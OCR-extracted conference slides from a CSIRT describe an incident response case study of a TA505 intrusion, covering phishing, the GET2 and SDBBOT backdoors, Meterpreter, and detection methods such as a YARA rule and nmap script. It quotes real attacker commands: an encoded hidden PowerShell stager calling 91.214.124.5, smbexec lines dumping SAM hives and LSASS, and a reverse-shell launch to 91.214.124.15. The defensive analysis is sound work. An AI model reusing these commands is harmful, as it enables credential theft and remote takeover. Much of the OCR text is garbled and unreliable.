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Who am | / Who are we ?

* Paul Jung
e CSIRT Team leader
e +20 Years in the Infosec field
* A couple of time speaker at InfoSec conference's

. @ _ThanatOs _

* Excellium Services CSIRT
* CERT-XLM
* Incident response
* Luxembourg
e Belgium
e Senegal
* |vory Coast
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The case
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Breach Analysis
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Delivery

* Massive mail phishing campaign

* 08/11/2019 First phishing campaign
* 13/11/2019 Second phishing campaign

e Delivery to 120 mailboxes
* From “marketing <darhg5oihnat@gmx.com>“ (rzias@fee.mpei.ac.ru) ‘@’

* Originated from a Russian University.
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Delivery

No document in attachment
Link to hxxp://merky.de/30rsjy

. . —_
T —— Url shortener to hxxps://dl2.box-cnd.com/?&amp;qzjou=ISUsa3
markecing wuses Onshub to securely share files and has shared the following
item with you.
promo-NOV-DEC-test(1).doc [Compatibility Mode] - Word (Product Activation Failed)
promo=-MHOV=-DEC-teat (1) .docx References  Mailings Signin £ Share
& X cut oo A,\ = £ Find ~
N Calibri -1 <A A Aa- A ST AaBbCcDc AaBbCcDe AaBbC AaBbCi AaBbC AaBbCcD AaBbCcD AaBbCcD( AnBhCcD b
Fa Ty AF =T 7 AR = 1 Tl 13«93 | %3cReplace
Ovmed by marketingfovember 13, 2019% 12:22 MM Paste ¥ Format Painter | B 1 U - ae X, x° v-A-B===E 8 8- TNormal | TNoSpac.. Headingl Heading2 Title Subtitle  Subtle Em.. Emphasis IntenseE.. = [‘?;Se\ed'
. Clipboard n Font & Paragraph 5 Styles . Editing ~
This invitation is intended only foz and cannet be I’ SECURITY WARNING Macros have been disabled. Enable Content x
forwarded to others.
® Microsoft® . . .
S5ign Up & Access This Item O Ice Document created using the application not
related to Microsoft Office.
We hope you found this email helpful. If not, you can modify your email
- 4 J4
preferances AT any time from notificacion seccings. Thanks for using
Onehub!
— The Onehol Team For viewing/editing, perform the following steps:
Click Enable editing button from the yellow bar above
I PRI = . o B e F - T E44=77T Once you have enabled editing, please click Enable content
Questiona? Contact us at support@onehub.com or (BT7) €44 i. Bitton frorm the yellow, bar.above
Hever want to receive smails relaced co Onehub? Unsubscribe.
© 2015 Onehub = Privacy Policy = Terms of Use
This email ha= been scanned by the Deaciny Email Securicy System.
For more informacion pleass wvisit hoop:/Swww. dessiny be
Page1ofl Owords L2 English (United States) B B - 1 + 100%
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Exploitation

* The link contains a macro enabled document

* Executed by a user back from holidays
e 15 days after the phishing

* The document contains two binaries
e 32 & 64 bits PE DLL droppers named GET2

dl2.box-cnd.com workstation

TLP:WHITE

NOV-DEC-test(1).doc [Compatibility Mode] - Word (Product Activation Failed) B - 8 X
Insert  Design  Layout Q Tell me what you want to do Signin £, Share
-9 t s s = AP Find ~
= o = 2 = = 4
3 Calibri U -A A A2 EE ER T 2L 9| nasbeene AsBbceoe AaBbC AaBbC: AaBbC AaBbCcD AaBbCcD AaBbCCD co % s
L i wac
Pifte ¥ Formatpainter | B 1 U -k X, x° Y -A- E=== = , T Normal | TNoSpac.. Headingl Heading2 Title Subtitle  SubtleEm.. Emphasis IntenseE.. 3| | N ¢
Clipboard Font Paragraph Styles 5 Editing ~
1 SECURITY WARNING Macros have been disabled. Enable Content x
® Microsoft® . o
O I Ce Document created using the application not
related to Microsoft Office.
For viewing/editing, perform the following steps:
Click Enable editing button from the yellow bar above
Once you have enabled editing, please click Enable content
For viewing/editing, perform the following steps: button from the yellow bar above
¥ Enable editing button f
« click Enable content
eene
Pagelofl Owords [2 English (United States) & B - ) + 100%
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Exploitation

|_ﬁlﬁ 00 00 00| ....&.0.5.A.=
° i - - 00 45 00(8.6..... E.X.C.E
GET2 reports to microsoft-hub-us.com loc 10604343 et b G e
e Hosthame Mo edx, offset aRd86 ; "RDE&" 00 0D 0D E-PR.™, .o
lea ecx, [ebptvar 22E@] 00 2F 00| h.t.t.p.s.:./.
° Username call SLJI'J_].'E'E'B‘E'E‘E'E‘ Ou §6 ':l':) B VoEBsP . 58T
test al. al qﬂ 2. 00| t.-.h.u.b.-.u.s
; : : Q0 723 00|..c.o.m./.v.1.5
* Version jnz loc_108864592 00 6F 00|t...%.d..... C.o
. |1 00 65 0O(n.t.e.n.t.-.L.e
* Running processes ¥ 00 00 00|n.g.t.h.:. .....
00 6. 00]....€.0.N.T.8.
00 20 00|t.-.T.y.p.e.:.
. mov edx, offset aRd86r ; "RDOEER" 00 74 00|a.p.p.1.7.c.a.t
* Receive and Load another payload lea  ecx, [ebptvar 22F0) 00 77 00/7.0.n./.%.-.w.w

call sub_ 180038ER
test al, al
jnz loc_ 18884592

:'date Eitime [JEJ MACBE] source §J sourcetype

11/13/2019 10:08:46 M... REG UNKNOWN : Run Key Content Modification Time [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rur
11/13/2019 10:08:46 M... EVT WiInEVTX Content Modification Time [1000/ UXO3E‘8] S(rins: ['WINWORD.EXE' '14.0.6024.1000" '4d83e310" '
11/13/2019 10:08:47 .... REG AppCompatCache Registry Entry File Last Modification Time |Path: C:\Users AppData\Local\Temp\profile3.7.exe
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Command & Control

stage 1: stage 2:
el s S JVC registry key Backdoor hidden in

on the disk

Run key in current

user hive with a PE stage 2 is executed

embedded

* SDBBOT is a Fileless malware
e Simple persistence
Stored in registry
Random name/location
PE Lower AV detection.
1 different loader by infected workstation.
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Command & Control

e SDBBOT stealth persistence

stage 2:
JVC registry key Backdoor hidden in
with a PE stage 2 is executed
embedded

stage 1:
xrbvajc.dll stored =g
on the disk

Run key in curr:

user hive

HKEY_CURRENT_USER\Software\Microsoft\Windons\CurrentVersion\Run
[random].dll  rundll32 “c:\Users\[redacted]\AppData\Roaming\[random].dIl"’ #1

Address | Hex ASCII
72BC3000 |00 00 00 10|00 DO 0O 00O|5C OO 52 00|45 00 47 GO|Rm..-...-%-R.E.G.
72BC3010( 49 00 53 00|54 00 52 00|59 00 5C 00|55 00 53 ¢O[I.S.T.R.Y.\.U.S.
72BC3020(45 00 52 00|5C 00 53 00|2D 00 31 00|2D 00 35 ¢O|E.R.\.S.-.1.-.5.
72BC3030(2D 00 32 00|31 00 2D 00|32 00 31 00|35 00 34 ¢O|-.2.1.-.2.1.5.4.
72BC3040(32 00 39 00|38 00 39 00|37 00 2D 00|31 00 32 ¢0(2.9.8.9.7.-.1.2.
72BC3050( 39 00 38 00|38 00 39 00|35 00 36 00|34 00 33 $0[9.8.8.9.5.6.4.3.
72BC3060(2D 00 32 00|35 00 39 00|35 00 39 00|30 00 32 ¢0|-.2.5.9.5.9.0.2.
72BC3070( 38 00 33 00|34 00 2D 00|31 00 30 00|30 00 32 ¢0(8.3.4.-.1.0.0.2.
72BC3080(| 30 00 5C 00|53 DO 4F 00|46 00 54 00|57 00 41 ¢0|0.%.S5.0.F.T.W.A.
72BC3090(52 00 45 00|5C D00 4D 00|69 00 63 00|72 00 6F (O|R.E.\.M.i.c.r.o.
L r1 72BC30A0(73 00 6F 00|66 00 74 00|5C 00 6A 00|76 00 63 JO|s.o.f.t.\.j.v.c.
auncher 72BC30BO |00 00 A9 E1|2E 79 CD 5F|FO 35 E7 1E|4F FA EE 2B|..®a.yI_05C.0Ul+
72BC30CO|9F 93 82 38|2F FC S5E 58|FE 98 OF OF |26 29 39 FE|...8/uUAXp...&)3p
72BC30DO| 8A 1D A4 B4|D5 CO 2A CA|24 OF S5E 2E[BB 78 AA 9A|..= OA*ES.A.»xs.
LJI[) 72BC30EO|52 47 2B 79|D9 BE 83 6C |72 80 D9 38|A7 CA 57 16|RG;yUX%.1r.USsEw.
72BC30F0| 35 A3 7F 4D |23 8D E2 7D|FD AB D1 50|16 44 85 S5A|5:.M#.a}
72BC3100|35 08 E5 D2|F5 B5 07 2A(FB 3D 3D FD|B4 Al 20 A8|5.a06y,. *U==y
72BC3110|13 50 25 7C |07 1A F2 B6|11 DD FD DC|23 9E 27 9D|.P%|..0Y.YyUs. .
72BC3120(4B 90 54 F1|2F FB 9B Al|26 1A 3F CD|54 EB 67 C6|K.Tn/u ?
72BC3130(57 F4 A9 E1|2E 79 CD 5F|FO 35 E7 1E|4F FA EE 2B|wo®@a.yi_d5c.oui+
72BC3140(9F 93 82 38|2F FC S5E 58|FE 98 OF OF |26 29 39 FE|...8/uAXp...&)3p
72BC3150| 8A 1D A4 B4|D5 CO 2A CA|24 OF SE 2E|(BB 78 AA 9A|..= OA*ES.A.»xs.
72BC3160|52 47 3B 79|D9 BE 83 6C |72 80 D9 38|A7 CA 57 16|RG;yU%.1r.USSEw.
72BC3170|35 A3 7F 4D |23 8D E2 7D|FD AR D1 50|16 44 85 SA|5£.M#.a}yv«NP.D.Z
72BC3180(| 35 08 E5 D2|F5 B5 07 2A|77 oloo 00|00 00 00 0O 4006 '
72BC3190(00 00 00 00|00 0O 0O 00|00 0O OO 00|00 0O 0O 0O
72BC31A0|00 00 00 00|00 OO OO 00|01 OO OO 00|00 0O 0O 0O
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Command & Control

e SDBBOT stealth persistence

stage 2:

stage 1: JVC registry key Backdoor hidden in

xrbvajc.dll stored s
on the disk

Run key in current

user hive

with a PE stage 2 is executed
embedded

HKEY_CURRENT_USER\Software\Microsoft\[RANDOM 3] \[RANDOM 1]

er Edition Affchage Fayors ] Copyright (C) Microsoft Corporation
e n e i o B Software\Microsoft\jvc
Internet Explorer Al Nom Type Données

jve ab) (par défaut) REG_SZ (valeur non définie)

Launcher 4 2 ::z?;:" 8w REG_BINARY [436f707972 69 6768 74 20 28 43 29 20 4d 69 63 72 66 73 6f667420%36f727
iaPlayer

UuiD - 15 || Messaging
¢ » | Microsoft Management Cc
MPEG2Demultiplexer
MS Design Tools
MSF
Multimedia
Narrator
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Command & Control

e SDBBOT stealth persistence

stage 1: stage 2:
Sibvaicdllstored S JVC registry key Backdoor hidden in

on the disk

Run key in current

user hive

with a PE stage 2 is executed
embedded

HKEY_CURRENT_USER\Software\Microsoft\[RANDOM 3] \[RANDOM 1]

Registry

Compressed
PE

Shellcode

seghld: 88109018 aHostsDrmServer db 'Hosts=drm-server-booking.com',8Dh,8Ah
seg@eaaalhaals ; DATA XREF: parseconf+8to
seghla :ea109018 db 'ReconnectTime=064",8

seghif:ee109048 aBotcfgbotcfgbo db 'BOTCFGBOTCFGBOTCFGBOTCFGBOTCFGBOTCFG' ,8

TLP:WHITE Virus Bulletin 2020




G CEcLLIUM

Command & Control
* SDBBOT Capacity

e C&C to drm-server-booking.com

* Report external IP (fetched from ip-api.com)
* Download files

* Perform file operations

e Commands Execution

* Streaming of the screen content

* Network connections forwarding

* Perform reboot

drm-server-booking.com workstation
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Action on Objectives

* MS17-10 Vulnerability used to perform lateral movement/privileges escalations
* First pivot on Domain Controller
* Evidences show domain administrator privileges gained 1h20 after first connection
* Persistence sets with user “support” as DC admin group.

Patient O Domain controller

TLP:WHITE Virus Bulletin 2020
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Action on Objectives

 Attackers used Meterpreter for offensive actions:
» Usage of a repackaged Meterpreter stager named TinyMet, locally named wsus.exe.

e Spread using smbexec

* Connections in the 91.214.124.0/24 subnet
* AS210119, IPs geolocalized in Seychelles, AS registered originally in Ukraine

LTCOMSPECE: /b /fc start /b /min powershell.exe —-nop —w hidden —noni —c "if ([IntPtr]::S5ize —eg

4) {Sb="powershell.exe'"lelse{fb=Sfenviwindir+"\syswowed \ WindowsPowerShell\wl.0\powershell.exe'} S$s=New-Ckhject

System.Diagnostics.ProcessStartInfor;$s.FileName=%5kb; $s.Arguments="-noni -nop —w hidden -c & ([scriptblock]::create ((New-Cbhject System.I0.S5treamReader (Hew-Chbject
System. IC.Compression.FzipStream | (New—-0Object

System.I0.MemoryStream(, [System.Convert] : : FromBasef4S5tring (' "H4sIRAyRI1OCATVHEW, aSEBD+nEjSD1aFZFs1glEORERKC+Y1ICAFCAmBCH Dot StpeWHvEXgdIr / /9 xmCnéTWe 2pPCANn 1 fFZmZnnnlm
Im4S52o0lyUNphefPJSdEQRzIQIMLaCHeoEBWEZahHRTERZDDaW-rmipEzRatlifabh TOKIimIIQRCcVhXrokAsUxCeaMkl hEph+1sU8icnozXxBeSJ+1lwl+158bnmGVinyvaZ FSEdotBJ 9 3rcxgkzJJXPFgFDET S SkdXgogz=
Urtd¥ JZrMimLhYEEDmMyar ORUOPwN4ciCL3gR3xmLuiNEZhrVoahTF 2 yQCsPEZE4ET S 3 Y IMFECANEZFEcLSPIzVW2FZkGA4 i PHiUgeyOVEnpge zmZ f Ke Pe3LskFDOg I SMUJCI rkORPICZRgYt DR ESET4s5AyxOQRDE
2ZgoLYEl1E8SpRAMIBW13zGiDMgmR+1X1ZTXSiAl FJFahEy+EWe fOwkiBO3EDUCP2VEhyRgAOHOS0T45dn02 rPgv2QEjo+ 14+ THMAS Zchjup L 6 KEWEUR+0WY JHOSgW TgOEQLMXaCELhBV,/ rK71s8iBJ0l 1 ¥YmVgcQd POVLT
Z4C200vTEsTIFXEBgS1iTEALV=4i 1 vQUxcRvEx1XKxAFi kyNkGeVgEEQ+LFLQOO9+ptQMagXnT 1hDEHEMI GHMXgFWRQ,/ daZQx4U2Q ) TJACEDNOg sEFupNcOgP4L) 89nYOQ3E04 jovSMIFEes4uSSTAJTIFCYUy=LZQT
vh/E¥93tJ0x0GE8ciNzdTcxyz8508 3 EWU2JR0iP3edBChYpZCUZS61CHEzgRefgT78 JhBNzBhUAVhEgkTASggARVIgQROBimnal ZBJhBCEGARDZL1 32HYO4+gPHPENnI r Y14 78bwd=zKh 94mOKRY / DEPcivybgoShaNBLSPF
FhgOHES6/ FXE2LvRiEiWBvUIviam+Evml CevGEoEEe L iMxQ2WMOCYi /E/ FAR=HSUD,/ OCOVA4+ Y Y 2ZETWI IZROW19SDW2 0 ZvThPEeIlg7fCneurRbcotbhat+idzYeHeHrdeut S S0ZVplYEYNeTOORL, 9sFiYgHs3mohHA3ZXvaW
UsSgIT+vruizZUPOZEv+EBEwW,/ byreonnhOcekSbreulveaWodZhe3b/VEFLfdaTa03ljdepREe36€aZ7S0e3yveulnmESshkduZXvOGphueSHCONn  /2UDo0g/ Zz leuden3ndZ kW2 eMe0vIRQuZTg2Z0zg8neocSGZ0L74nFO0Z2
gr THGWWLAapQo9kHIACDwoSal 6dBfzWYg T filjZWCsbvglr44 TDRIC 1w zg+pXzl tPfr 1hPhCgr32XWipeolveTwvWQCIOHkPPEHnIptTeIVggjdIuQPsacszsfXd,//dnbrtlaao Ml 6 zeWlWvWELVAF3xovIf6e33ThV3b
J%90H4+a8rl1fWzYAGhFSlyo3RH3Ig4ufaGTS5=z0z6/2wE28ypHI = r¥IoKYEVhrvinvUIv2 JHE 3HTex BhSASpuXNYdHnaydDj INNROFLuE 1 i ULC4AgDSy6nLnFM2 2 kzh T¥L18ihuad3z0iGreghI 1VEEVS / cvhi6eLiE
TYvEWtLiztdQjoSEfsYmVbglSgZVeZ SQpE+O0thNfl gpxxsFdOen+ Ly Yozt jatpkUABHmwX/ vdiWWXNeHI+ It iXtZ/ s/ hEK1eI+3u9Wv134LUB / M+oxpgLkTGogjBwutbhbeCe5ixeshbfowPy TmEZP+s12k4 i TAXwInB= /A2
hCsABdCghAR"'"')) ), [Syvstem.I0.Compression. CompressionMode] @ :Decompress) ) ) .ReadToEnd () ) ) ':58s5.UseShellExecute=5falser;$s.RedirectStandardOutput=58truce; $3.WindowStyle="H
idden':;S$=s.CreateloWindow==5trus; Sp=[System.Diagnostics.Process] i t5tarc (£=3) ;"

91.214.124.5 workstations
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Action on Objectives

e Extraction of the domain database ~20h after access on DC
* Retrieval of SAM database
* Dump of the process LSASS
e Execution of PWDUMP tools

%COMSPEC% /Q /c echo reg.exe save hklm\sam C:\Intel\sam ~> \\127.0.0.1\CS\__output 2A>2&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c
%TEMP%\execute.bat & del %TEMP%\execute.bat

%COMSPEC% /Q /c echo reg.exe save hkim\security C:\Intel\security *>\\127.0.0.1\CS\__output 2A>2&1 > %TEMP%\execute.bat & %COMSPEC% /Q
/c %BTEMP%\execute.bat & del %TEMP%\execute.bat

%COMSPEC% /Q /c echo reg.exe save hkim\system C:\Intel\system ~>\\127.0.0.1\CS\__output 2A>"&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c
%TEMP%\execute.bat & del %TEMP%\execute.bat

%COMSPEC% /Q /c echo C:\Intel\procdump.exe -accepteula -ma Isass.exe Isass.dmp *>\\127.0.0.1\CS\__output 2*>"&1 > %TEMP%\execute.bat &
%COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

%COMSPEC% /Q /c echo C:\Intel\pwdump.exe > C:\Intel\pw "> \\127.0.0.1\CS\__output 2A>"A&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c
%TEMP%\execute.bat & del %TEMP%\execute.bat

TLP:WHITE Virus Bulletin 2020
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Action on Objectives

* Deployment for persistence.
* More than 50 servers/workstations compromised.
e Deployment at system level.
e Using Meterpreter with admin credential
* Using smbexec leaving a service.

- [JE

Virus Bulletin 2020

workstation
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Attribution

%COMSPEC% /Q /c echo ping google.ca > \\127.0.0.1\CS\__output 22>"&1 > %TEMP%\execute.bat &
%COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

ATTRIBUTE LIKE A Boss

'
ountry | Voctor | Data toss | Actor | Vulnerabiliny
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Attribution

%COMSPEC% /Q /c echo ping google.ca > \\127.0.0.1\CS\__output 22>"&1 > %TEMP%\execute.bat &
%COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

ad o — A7
{ CYBER
- l ATTRIBUTION prcp
Russia & A‘ITRIEUTELIKEABOSS

Country | Vector | Data Loss | Actor | Vulney

Source : http://www.ottawalife.com
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Attribution

TA505

o
Ve ,
Metasploit
CC

TLP:WHITE

tag: CERT-XLM:malicious-code="spyware-rat"
tag: tip:amber
(B
attrioute: 91.214.124.5 -
ISP
MISP object: file
_ event: (72) Malspam APT TASDS - SDEEOT
| Threat Actor Anssi REPORT CLOP
&
attribute: B194547 100223003203 BHERTes s0eR TR =D i cEfdigedeTa0fe2d22072122/082 12 1728 Tfic 0000 s
Gefffj4d80193 g g%aﬁﬁﬁe 7
ED attribute; 1536:ir2fz4OR/0UedlIRICZZ00X| GwimV's @:wa D55 HzZWUeZIRID A fmYBWrGY
attribute: weuszip|08e504450 1025034032350 225757 attribute: Oof203607 sfitrinele B SETEHT AN T2 181
MISP
event: op 10C detection E] attribute: Zip archive data, at least v5.1.to extract
sttribute: wsus.zip|08114f0efcl4cfedlaa32083184b1d218
attribute: wsus.zip
=

attribute: wsus.zip|d73c07480c8170ace083eScd24200c2T AN
sttriouts: 107 0TcfI201 4cefT 2470220 3R Ted %071

i
attribute: ba5b347e38a1770d=82 T454732188ccT7d3c attribute: 08114f0efc34c850332°58R4840 1da18
i, B
tribute: 1538:PzvsEd T EqTjUvBY3jFz0-PzvsEdugvORyND el -
= i:njec:t: fils QZE%H%F VD = ;;tri‘l’:\ljlez: TEB‘?:SL‘;E;OF‘&% BwOLb30atOndZU I2qDCﬁClrchfB1fuLE?: pﬁ&‘@ﬁ?éésEZGQ:ZbﬁEGﬁC‘CkQEWJJﬂ IDHzFJ1gxzw
sirbute: aaaps i T 68 mwma%cazswmﬁmﬁFﬁf&”ﬁ%ﬁﬁﬂ%ﬁ?ﬁ@ﬁ%ﬁafe1%%hﬁﬁ%§§?%§?§%gmﬁ%ﬁg TAeERthsrmbano4dsasa10676052040

attribute: 28f0827db0c20dT 200003383447 6aea ld552c:733&33353"33793?@&7334le?aSb 17231e13800fob2d327d 3182336222 18604/ 8207366006600 T005d25ce 30
attribute: b1da12f10a355080dac4082037Td001202da 3042002005204 b5 TERE0R 02
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Attribution

e Attribution sources
e TLP Amber

e Collected artefacts
* ANSSI Report —11/2019 - INFORMATIONS CONCERNANT LE RANCONGICIEL CLOP

e TLP White
 ASEC—-Q32019 — Report vol.96
* ProofPoint 10/2019 - Report — TAT505 Distributes New SDBbot Remote access
* ATT&CK — All registered report

Attribution to TA505/G0092

TA505 is a financially motivated threat group that has been active since at least 2014.
The group is known for frequently changing malware and driving global trends in criminal malware distribution.
Using phishing or malware for initial breach.

TLP:WHITE Virus Bulletin 2020



G CEcLLIUM

Attribution —

(phishing)
. . Download Casel. MSI Download <
e Attribution | AU T LY e | RS T Powmese . msiexec.exe
html £
LAY e Y ‘ordd Excel 1}
* Paper from Asec (October 19) ; 8.3 sheettd W12 § :
1 Ho i
1 '
e Same backdoor: SDBBot. : | Drop & Execute
)
: 4
e Same loader name: wsus.exe e B e ; MEDOOOLIMP | s 5 e crie 4 ree
‘,f{_;‘!'sl";,m_ﬂ,'_.")"I'"I": SV 7E N5 { Case2. PE Download Ammyy woHGo A0l Y
S i Downloader
i !
E 1 Download & Decode
—‘\019“7.v'-;“ A( ﬂ’l:/ ‘]J:.',lll -\,‘lnf (.YI :‘I’, ," ~ : :
Y50 % i
EXE Download & Decode Ammyy
T Backdoor
Downloader (wsus.exe)
S HPEUESN ¥ RCéa cWoprogramdataWnugetsiwsus. exe Ammyy Backdoors] §& W& NE
SHNO WS Of MY oF NN ADATH Y B2 ¥y

https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT vol.96 ENG.pdf
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Incident response
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Incident response
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Incident response

Metasploit

« Easy to spot
» Artefact created by smbexec

- BTOBTO services mmmm—) - Evix

- C\__output folders « Remote folders scan

« Listening meterpreter ‘ * Nmap
« 8080 listen

$COMSPEC% /C echo C:\Windows\wsus.exe 0 91.214.124.15 443 ">
$SYSTEMDRIVE%\WINDOWS\Temp\iaetRnAgpruNtWFZ.txt >
\WINDOWS\Temp\wmCigaHkZzuHNNMT .bat &
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Incident response

TinyMet
https://github.com/SherifEldeeb/TinyMet

O: reverse _tcp
1: reverse_http
2: reverse_https

3: bind_tcp IP & Port

4

$COMSPEC% /C echo C:\Windows\wsus.exe 0 91.214.124.15 443 "~>
$SYSTEMDRIVE%\WINDOWS\Temp\iaetRnAgpruNtWFZ.txt >
\WINDOWS\Temp\wmCigaHkZzuHNNMT .bat &
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Incident response
Patient 0 E a

Servers and workstations

Patient O

Sdbbot CC

Servers

“B

Meterpreter
cC
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Incident response

Actions Fears

e Still ~300 hosts vulnerable to MS17 10
« When CLOP will be launched ?
« |s SDBBOT using always the same CC

* Internet down for servers
» Sinkholing of known bad Ips
 Detections of « meterpreted » hosts.

How to detect SDBBOT ?
Unique hash per sample
Located in registry with random name.
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Incident response

SDBBOT

» Analysis of the compromised hosts

« Detection of the backdoors
» File based detection
* Registry based detection Susername

Shostname

= Senv:username
= Senv:computername
function Get-Keys(Sfolders) {
foreach ($folder in Sfolders) {
if (Sfolder.PSChildName.Length -eqg 3) {
foreach (Skey in Sfolder.Property) {
if (Skey.Length -eqg 1)
Write-Host Shostname , Susername, S$folder, Skey -Separator ":"

}

}
Get-ChildItem -ErrorRAction SilentlyContinue -Path hklm:\SOFTWARE\Microsoft\*

S$folders =
Get-Keys (Sfolders)
Sfolders = Get-ChildItem -ErrorAction SilentlyContinue -Path hkcu:\SOFTWARE\Microsoft\*

Get-Keys (Sfolders)
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Incident response

e SDBBOT Weaknesses

e Report external IP (fetched from ip-api.com)
e Hardcoded UA

segh@e:eelDABDE aMozillaS@Windo: 3 DATA XREF: dohttprequest+2FTo
segean: ea1DAGDS text "UTF-16LE™, 'Mozilla/5.@ (Windows NT 1@.8; Wined; x64) Appleldebk’
segleo: ealDABDS text "UTF-16LE™, 'it/537.36 (KHTML, like Gecko) Chrome/68.8.3112.113
segleo: ealDABDS text "UTF-16LE™, 'Safari/537.36°,0@ -
) . GET /json HTTP/1.1
SeEBB@ I BBIDATCR | ----- oo - . . - - . .
e e User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.8.3112.113 Safari/
537.36

Host: ip-api.com
Connection: Keep-Alive

Workstation |p-ap|C0‘n

TLP:WHITE Virus Bulletin 2020




G CEcLLIUM

Incident response

SDBBOT

» Analysis of the compromised hosts
« Detection of the backdoors
« File based detection

« Registry based detection
« External IP fetching

GET /json HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6@.0.3112.113 Safari/
537.36

Host: ip-api.com
Connection: Keep-Alive
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Incident response

e SDBBOT Weaknesses

e Communication is binary
* Usage of port 443 but no SSL
e Handshake is visible « DECO »

[

drm-server-booking.com workstation
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Command & Control

e SDBBOT Weaknesses — ¥

. . . push 8 5 dwFlagsAndAttributes
* Configuration can be overridden push o ; dwcreationDisposition
push 3
° push 8 ; lpSecurityAttributes
IF).t)(t push 3 ; dwshareMode
push GENERIC_READ 5 dwDesiredAccess
push offset FileName ; "c:'\\ip.txt"
call ds:CreateFiled
mov esi, eax
cmp esi, BFFFFFFFFh
jz short loc_1D5231

drm-server-booking.com

Whereeveriwant.com
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Incident response
SDBBOT on some servers
 In memory detection on servers.
* Injected in winlogon.exe Bevinad
» No other backdoor discovered.
» No other CC discovered.
SEgEE}E}:E}E%DQE}ELE aHostsDrmServer db 'Hu:usts=dr‘m—ser‘uer"—hunkiﬂg;:.:n.miJ_?DhiEh'-‘-.h o
:EEEEEEE:EEE:; dhb 'RecannectTime=9E}E}'lE; B
segeea : aelhoads aEiGtcfghotcfgho dh 'BOTCFGBOTCFGEOTCFGBEOTCFGBOTCFGEOTCFG' @

C.3a982857e0fc0d01 | @

Pid

Ppid

Mame

Exe

Cmdline

Ctime
Username
Status

Nice

Cwd

Mum threads
User cpu time
System cpu time
Rss size

Vms size
Memory percent
Rule name

Process

Mateh String matches

Scan time us 467000
YaraProcessScanMatch
2019-12-19 22:25:19 UTC

3240

6412

winlogon_exe
C:Windows\System32winlogon.exe
winlogon_exe

1576769668000000

NT AUTHORITY\SYSTEM

running

128

C:\Windows\system32

6

5824

0.421875

89554944

18956288

1.0426139831542965

sdbbot

Shing.id $re

Offset 190392614944
Data Hosts=drm-server-booking.com

Yara:

rule sdbbot {

meta: description = "Get SDBBOT conf"
strings:

Sre0 = /Hosts=[a-zA-z0-9\-.]{5,32}/
condition: all of (Sre*)

}
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Incident response

SDBBOT

» Analysis of the compromised hosts

» Solutions for detection of the backdoors
« File based detection
« Registry based detection
« External IP fetching
» Network detection
 Configuration overridden
« Scan in memory
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Incident response

TA505 is Fast

Registering of 1:08
dI2.box=cnd.com Maldoc execution
Registering of 2nd campaign maldoc server
microsoft=hub-us.com 16:58
GET2 x84 compil. Tinymet compil. SDBBOT compil. GET2 CC / 2nd Maldoc creation DC compromised

Oet 10 2018 Mow T 2019 Mow 12 2019 Maov 19 2018

GETZ x32 compil. Registering of SDBBOT launcher compil. 1st phishing campaign Z2nd phishing campalgn 12:28

drm=zarverbooking.com Domain exfiltration
Dec 12 2018 SORROT CC Oct 25 2004 Mov 8 2013 Mo 13 2019
Mov 20 2014
Oct 16 2019
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Hunting for SDBBOT
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Hunting for SDBBOT
* Fileless malware e Rare on public sandboxes
* Unique launcher ‘ * Hard to spot samples in the wild.

How to spot them ?
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Hunting for SDBBOT

* SDBBOT Weaknesses
e Usage of port 443 but no SSL
* Handshake is visible « DECO »
* Need to send 4 Bytes & analyse response

$ nmap jp-microsoft-store.com --script sdbbot.nse -p 443 -v -Pn -n

Starting Nmap 7.70 ( https://mmap.org ) at 2028-82-25 87:55 CET

NSE: Loaded 1 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at ©7:55

Completed NSE at ©7:55, ©.80s elapsed

Initiating Connect 5can at 87:55

Scanning jp-microsoft-store.com (194.68.27.38) [1 port] mm

Discovered open port 443/tcp on 194.68.27.38

Completed Connect Scan at 87:55, ©.225 elapsed (1 total ports) a—

NSE: Script scanning 194.68.27.38. —
Initiating N5SE at 87:55

Completed NSE at ©7:55, ©.63s elapsed

Nmap scan report for jp-microsoft-store.com (194.68.27.38)

Host is up (8.22s latency). Omom Em

PORT STATE SERVICE d booki
443/tcp open https rm-server-booking.com sdbbot

| _sdbbot: SDBBot Detected

NSE: Script Post-scanning.

Initiating N5SE at ©7:55

Completed NSE at ©7:55, ©.80s elapsed

Read data files from: /fusr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds
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WE OFFER 3 KINDS OF SERVICES

GOOD -CHEAP - FAST

BUT YOU CAN PICK ONLY TWO

Huntino
- SDBBOT

* Usage ¢
* Handsh
* Need tc

$ nmap jp-microsoft-store.c
Starting Nmap 7.78 ( https:
NSE: Loaded 1 scripts for s
NSE: Script Pre-scanning.
Initiating NSE at @7:55
Completed NSE at ©7:55, 6.6
Initiating Connect 5can at
Scanning jp-microsoft-store
Discovered open port 443/tc

‘/ "-\‘ f - \.

I HAHI ’
L} /)

Sty W

Completed Connect Scan at @ s 2N s
NSE: Script scanning 194.68 THUHH Y
Initiating NSE at 87:55 \ (W 4 H ¥
Completed NSE at ©7:55, @.6 ‘ 2 B 4 N
Nmap scan report for jp-mic § ALY Q) LS
Host is up (8.22s latency). @ = = =
PORT STATE SERVICE

WON'T BE CHEAP
443/tcp open https
|_sdbbot: SDBBot Detected S
NSE: Script Post-scanning. ’ }
Initiating NSE at ©7:55
Completed NSE at ©7:55, 0.6 [ ]
Read data files from: /fusr/ > .

Nmap done: 1 IP address (1

TLP:WHITE Virus Bulletin 2020
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Hunting for SDBBOT

* Hostnames Similarities in drop & bot

* news-server-drm-google.com * Windows-msd-update.com e update365-office-ens.com
* drm-serverl3-login-microsoftonline.com ¢ Windows-fsd-update.com e update365-update-en-gb.com
* drm-server-booking.com * Windows-sys-update.com * office365-update-eu.com

Windows-se-update.com
Windows-en-us-update.com

* microsoft-hub-us.com

* Hosthames reuse

= 12.80.216.147 mml 88.99.112.82
~—————{_) static-google-analtyic.com T
E=" 185.33.86.40

e 103.75.118.231

